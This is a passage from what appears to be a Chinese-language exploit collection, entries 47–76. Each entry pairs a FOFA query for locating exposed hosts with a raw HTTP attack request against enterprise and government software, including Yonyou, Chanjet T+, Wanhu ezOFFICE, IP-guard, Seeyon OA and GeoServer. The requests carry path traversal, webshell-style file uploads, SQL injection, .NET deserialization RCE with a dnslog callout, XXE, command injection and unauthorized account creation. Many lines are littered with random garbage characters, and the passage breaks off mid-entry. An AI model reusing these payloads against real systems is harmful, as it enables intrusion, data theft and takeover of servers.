# Z, S8 \( e% m9 c9 r0 x- ?, q  wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  [- d0 S1 d$ d- K; q6 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ Q! f/ S0 q* \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ w, Z( C. w+ T8 u/ X4 U. S: u
+ }, n  I: A1 ?& P47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
3 X) A* R4 z) f! @5 Y( K$ S/ n5 vCache-Control: max-age=0
" H; A+ R$ y! c; ]Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 ?/ n- a' _( W4 x/ WAccept-Encoding: gzip, deflate, br
5 }' ?: T) x( sAccept-Language: zh-CN,zh;q=0.9
' |- L1 F* @  yIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
/ g* {9 `% Q3 v8 u
" y4 s) W$ A+ Q, H

48. 用友U8 CRM swfupload 任意文件上传
# c: P1 _& ~/ K7 G/ S5 ~FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
6 O$ J* Z7 o# Q" y# G! yHost: your-ip
- h9 ]$ J2 y9 G9 c1 v1 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 I) @3 b  f: {8 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  n, K/ k) ?* V/ F1 E2 n! OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' B! a) E9 M% Y$ |! y8 xContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
4 S& Q5 T* \) w! U5 v( r------269520967239406871642430066855
; o6 J$ t, {7 p0 Y5 c& H' ?8 k4 TContent-Disposition: form-data; name="file"; filename="s.php"
1231
. L: a5 V2 \' T' s. F% g* J0 RContent-Type: application/octet-stream
  q/ l' l$ `: \/ T- ~------269520967239406871642430066855
# Y' L# C- L) T( b! U5 oContent-Disposition: form-data; name="upload"
2 `' B: M2 j" |upload
------269520967239406871642430066855--
" Y. ~' V) \  V# t2 {! L$ A6 W4 _( W
0 l2 b" |" H8 r( H( Y' B/ Y; M
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 J9 v% L. R2 {; t, O( SFOFA：body="用友U8CRM"

1 _0 J6 H/ I- _& D5 UPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
7 c1 X$ h) S+ Z# QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) G/ F7 b3 N+ s& `2 uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 n8 |- e( z- W* N/ lContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
$ m5 _" m3 C0 T! q
9 W7 O' u% V2 G5 S* m-----------------------------vvv3wdayqv3yppdxvn3w
: n- @; r) M4 XContent-Disposition: form-data; name="file"; filename="%s.php "
$ [5 |# |$ t% N' E) ~0 RContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
. n; U8 f% H9 w& `Content-Disposition: form-data; name="upload"
4 o# o$ A' U7 T* ^4 W
3 p/ |0 W; a% F$ [2 Oupload
3 z: ^; x0 J. u& g% T-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

( j+ F( t8 E" A4 o3 z50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
0 h0 X  O/ e8 s5 n: gPOST /course/filterRecords/ HTTP/1.1
% d0 [, W) w# d% ]6 T! wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
/ T) j( K/ S& SAccept: */*
7 a: Q& v3 A- c  OAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
/ n& j2 Y( F: H  i

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
' \6 {4 |( W, Z& Q$ M( }GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
( |! m: ]0 W" p5 n  Y: m8 X  qAccept-Language: zh-CN,zh;q=0.9
Connection: close


52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
# \9 w5 u- q9 I4 p& G( tPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 S( A% v& k# l( \2 J7 X  wConnection: close
8 K2 n: C# `5 z  v( zContent-Length: 87
# Q7 O  U& }$ c# j3 K5 x  HAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
7 m7 f( H/ O. {! ~/ o9 i0 gAccept-Encoding: gzip
# |' t8 \, I) y3 R
" ]% L) \  P) Ptfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
; `: l" B4 E- b' K" e5 z1 n( Q
" Y, }8 {. K9 b3 m  q8 B) {
* y* i6 {. z4 G2 r; |53. 迪普 DPTech VPN Service 任意文件上传
7 z! B2 m( A$ _& {FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
% j. a3 ?, E* v! e$ T6 \; pFOFA：app="畅捷通-TPlus"
2 B7 J$ {- y4 Q2 F! `- I第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
$ C% ^  i2 }2 p& g"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

* c& L1 X/ p' u$ e  r- L
; \7 c" J) {5 i1 c" Y8 H1 D完整数据包
' p* B: A2 i$ m1 d3 I% hPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
( F& i4 E1 P* x- m0 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
0 |1 I* P5 m4 _. X"storeID":{
' O% D: u0 x2 q% o, h7 R- _ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8 H; }$ M* }4 _: q9 h "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
4 F* |: B& a7 a5 ^. O1 P) f( F   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 l9 v, b6 U1 l0 s9 o    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
/ ?' M( _8 }; A    }
1 ?; k- O( ?* i- L) D* B  }
. M* j) f' [! t! b# D: H1 k: N  }
& Q) `  j3 }8 ]" ^}


0 p3 h: [4 w; n- ?$ l" c1 ]3 V第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
2 P2 j- X" Z4 g1 W2 g! K

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
4 e: u( U: O7 B9 ^" I, K第一步，通过
( J; _! [/ t0 z1 x. U0 t/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
% P* d" c* b, i: d! q第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
4 ?3 g* v/ W* O* j
% E! ]4 x/ I* a# Q8 o2 f/ l; V56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
# p( ?! E1 C- x0 }3 H" u2 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
+ C$ h" \) H+ B; @Content-Type: application/json

; {! C8 z* y4 \! ~0 ~{
) f$ k- y* K# Q; }( E  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
0 f+ W% a8 ^$ |   "MethodName":"Start",
( `, Y, p" W; P9 j5 F    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 K; N. w/ |' W( z' W        "StartInfo": {
9 b$ H: X( D7 A$ _9 P" _6 ^+ G           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
: N' @' U5 {8 Y$ m; I: G           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
% ~0 u9 Z; n( x% l    }
* C' A1 G( r+ e; l) x2 c  e' W  }
}

2 V) i, p- L, k& J+ S
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
$ S$ M# u( V/ ~GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
4 p8 B0 Z  |7 R2 u; QAccept-Encoding: gzip, deflate
Connection: close
6 J* z$ Q% |5 ]8 Y9 X% ~; v0 M" ^

58. 畅捷通T+ KeyInfoList.aspx sql注入
7 i! p# x8 d5 Q1 g+ @FOFA：app="畅捷通-TPlus"
4 l( ]! \$ m; l& n; f/ x: xGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
* ^( U! H! _9 B0 j: c+ BUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
1 }- o% U! ~# [Accept-Encoding: gzip, deflate
% S* n/ ~  x3 W$ ^0 m4 Q1 ~/ DConnection: close


5 ^" Y0 u- O. j& q9 b$ W59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
7 F7 ]& ]; u( ^" }  n& yPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
# f+ z/ w. {4 R4 L+ I/ n0 Z9 wHost: 192.168.86.128:9090
0 O* h! G3 Q6 g. K' x) `User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
6 `; c- a  G$ [Content-Length: 1669
- N& e  O" y! q3 cAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

  F; Y2 _+ c$ c' J9 t6 f. X% zPAYLOAD


: J5 L7 B' f# G5 Q60. 百卓Smart管理平台 importexport.php SQL注入
8 x2 e! S1 a: _FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
) \! N# X& J) VHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. S% X  @, E/ R# e- N+ y
) `8 W4 W! e4 {6 c# O) W
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
. u1 U; O; }7 q: }/ o. kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% t) U9 w9 _  \; TContent-Length: 27
Accept: */*
/ |2 k5 r2 g6 y8 [Accept-Encoding: gzip, deflate
Accept-Language: en
8 ~& y$ |" o7 N! D# S' O5 AContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
0 J" ?) }3 @  E9 n) p. x- cGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
. f$ l  q# H9 ~+ e' G0 O6 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
( Q7 D7 p4 A' ^* P- {0 C/ o$ W" `Accept: */*
Accept-Language: en
Accept-Encoding: gzip
5 g0 C4 I' i1 c: @0 d8 Z: y

, J* |" r/ m' w7 w访问
% R+ T, t) w! i5 z+ d4 i
# V5 c/ P$ `4 p2 w2 u0 P  X% {* ?GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
" s0 h8 H; d: |9 @1 c6 W' IIP-guard < 4.82.0609.0
# k- s( \  Q2 wFOFA：icon_hash="2030860561"
; k0 Z( R" z8 B% M2 CPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
1 C/ i" U% p" `% `% y- r/ lHost: your-ip
' r- T4 W6 R, d* F# Q9 `) Q& R% }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 e" H# j& m, ?) g, n2 gContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
- b, q; x3 c0 P0 P
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
7 f; S$ a& D9 T9 wPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
% o. i( Y( T5 r2 ?( `2 EHost: 192.168.86.128:9001
4 ?- u2 P# W$ `+ P& f& LUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
: j5 c: F9 L0 s' d: {* VConnection: close
: ]( T. c4 e1 E: m7 v7 b, hContent-Length: 369
5 x9 `- l) {* D, X! E9 u& g: ]Accept: */*
% N, c1 P- v, w+ G/ I* BAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

0 t! \; x: I  Y& {5 W3 D! J<?xml version="1.0" encoding="utf-8"?>
, p9 E7 \3 k/ ]. F$ G<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
  b6 V1 S* B. V( l" z+ f3 a      <sId>1';waitfor delay '0:0:5'--+</sId>
1 B  h5 t7 _- {8 J' o2 `    </GetOSpById>
4 H' T8 i0 s6 J7 Z2 w0 q8 d  </soap:Body>
" L, Y: o9 S% w" e4 \2 w1 V</soap:Envelope>


6 h6 E% V7 A# B- t# M; c65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
) |, E  [6 q1 P$ bHost:
3 W8 P) j  U) ?. M  q/ w: CUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
$ ]5 U( T0 v! @Accept-Encoding: gzip, deflate
Accept: */*
  T! y4 }; L4 M- C6 a9 XConnection: close
Accept-Language: en
  Z! b6 t! M- J, v6 Y' ?+ D4 [Content-Length: 174
# j3 T9 D4 g6 f6 n+ P% B" |, Q; D
  ~  T- r4 _6 w1 o" Y( poperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

* d& g1 O8 b' ^
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
9 d1 m! b: y. H. DFOFA：app="万户ezOFFICE协同管理平台"

9 P1 H% r- K/ P. [3 KGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
/ h* I3 B3 y9 X: j4 T$ b* X2 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( Z7 w  p+ U* oConnection: close
Accept: */*
1 a, @% D9 `, V3 UAccept-Language: en
Accept-Encoding: gzip


5 a( o; o$ o2 h) L第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

$ `$ F. }2 d' H, C" L7 |67. 万户ezOFFICE wpsservlet任意文件上传
% }$ `9 k2 G! JFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
% g9 v1 A. ]+ \6 ]% J8 ~. o( k) N4 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
& k) n6 I' ~% T; Y9 }9 A. t0 aContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
, S: G5 m  V3 u2 O8 P. LContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
  U% e3 y: c+ `" ]) ODNT: 1
( G; c, E1 e1 d" p. g3 q; ZUpgrade-Insecure-Requests: 1
* l6 F6 e6 R, n; w( h) _, ~7 T
. j+ F1 A% v6 k( c6 {--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
5 `3 @, O) S# K$ w5 O. J
1 k7 V& X! ?( g% E% C+ E<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
, }3 [' e3 ?9 h1 g) Q/ z
4 @0 r& e8 e2 j# b5 q, H
! W8 n6 s! U  i$ C文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
( I0 G" Q7 V+ r5 X4 iFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
0 l( ]: N4 P# U2 A& p: _$ P( V. _$ B8 ~# [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" X7 C4 L' W/ i3 \Connection: close
! `9 N% c' d6 M6 K' a6 p
* {0 s: \0 X+ L/ y% a% X) Q0 ?
69. 万户 ezOFFICE contract_gd.jsp SQL注入
! d) E6 ]  x( S* M) a( SFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
+ y! o8 Z6 G! E, Z5 C2 c1 k" dHost: your-ip
0 y) K  B& I( ?' C8 J0 R) GUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
. \' x8 f+ D% u8 u8 J- k8 c# pConnection: keep-alive


70. 万户ezEIP success 命令执行
4 S8 y" ^1 b# U4 L$ ^9 NFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
) Q5 Y$ r8 |, J7 V, h, Y5 Y0 cHost: {{Hostname}}
7 L' f/ U, ?* iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
9 ~# O9 h, m. P, t( {5 y! wContent-Type: application/x-www-form-urlencoded
) y0 L0 d. W+ n' `TYPE: C
Content-Length: 16702

! @/ j/ h9 g! `, }! b' f__VIEWSTATE=PAYLOAD
2 t' \; j- O/ a: ]: c  [7 p
! x2 l! _# }, o* j: D; [, K( J
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
* X& F1 u  P5 d* Z3 C9 ?' A5 @FOFA：body="PM2项目管理系统BS版增强工具.zip"
& F5 Z0 ^7 d5 @3 rGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
* G& j5 S5 ^2 s$ p: w6 IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 H  f) o% V" W2 w1 ?Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 u! }& j! _' _  N( f3 Z3 t# OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! B' c* O  H/ Z6 t1 e  X7 OUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
& T  R; n5 G/ FHost: 192.168.40.131:8099
1 _- y! w+ ~/ u4 |: wUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
' h" K' ^2 `( U( d- `% YConnection: close
8 c  V# [6 s0 X7 c& a' X- sContent-Length: 583
' e* J- ]" W5 z0 R2 FContent-Type: application/x-www-form-urlencoded
2 S  K" |  G) M$ ?* HAccept-Encoding: gzip
" j% a0 b5 k+ s" N8 w1 a" Y
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

) ~, b# z5 K' T3 d, t& J
2 C' ^3 k' i/ x  l* ~9 B73. GeoServer wms远程代码执行
: y0 o" g1 x" s: cFOFA：icon_hash=”97540678”
! g- A  m) p: U, B2 nPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
" v* c8 i2 F  E+ @( k) u! vAccept-Encoding: gzip, deflate
7 h) }  \6 v5 L2 x: P% IConnection: close
" R# _  A9 [8 ~2 B9 p9 Y5 IContent-Type: application/xml
SL-CE-SUID: 3

; a& @9 T2 h+ `2 H- {PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
  P" S# s3 j) d! r: u# `2 _FOFA：title="M3-Server"
3 [& G3 B' j6 l2 n5 B4 pPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
& y6 B8 G' o4 g: m/ a1 C7 Q1 `FOFA：app="TELESQUARE-TLR-2005KSH"
* u) X. {# y7 P0 KGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
' ^; W: P$ q  ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
  k* I: y$ ]. L2 K5 B8 }( YAccept: */*
Accept-Language: en
Accept-Encoding: gzip
# j5 e: ~4 y- Q

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
) X: H. ?& z% S8 I7 n# C9 O; B

76. 新开普掌上校园服务管理平台service.action远程命令执行
* M: p& X6 D8 p# f$ a  ?* W; fFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
3 X3 w0 q) A6 b6 c4 DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

, S" f0 w5 U/ C+ _, p{
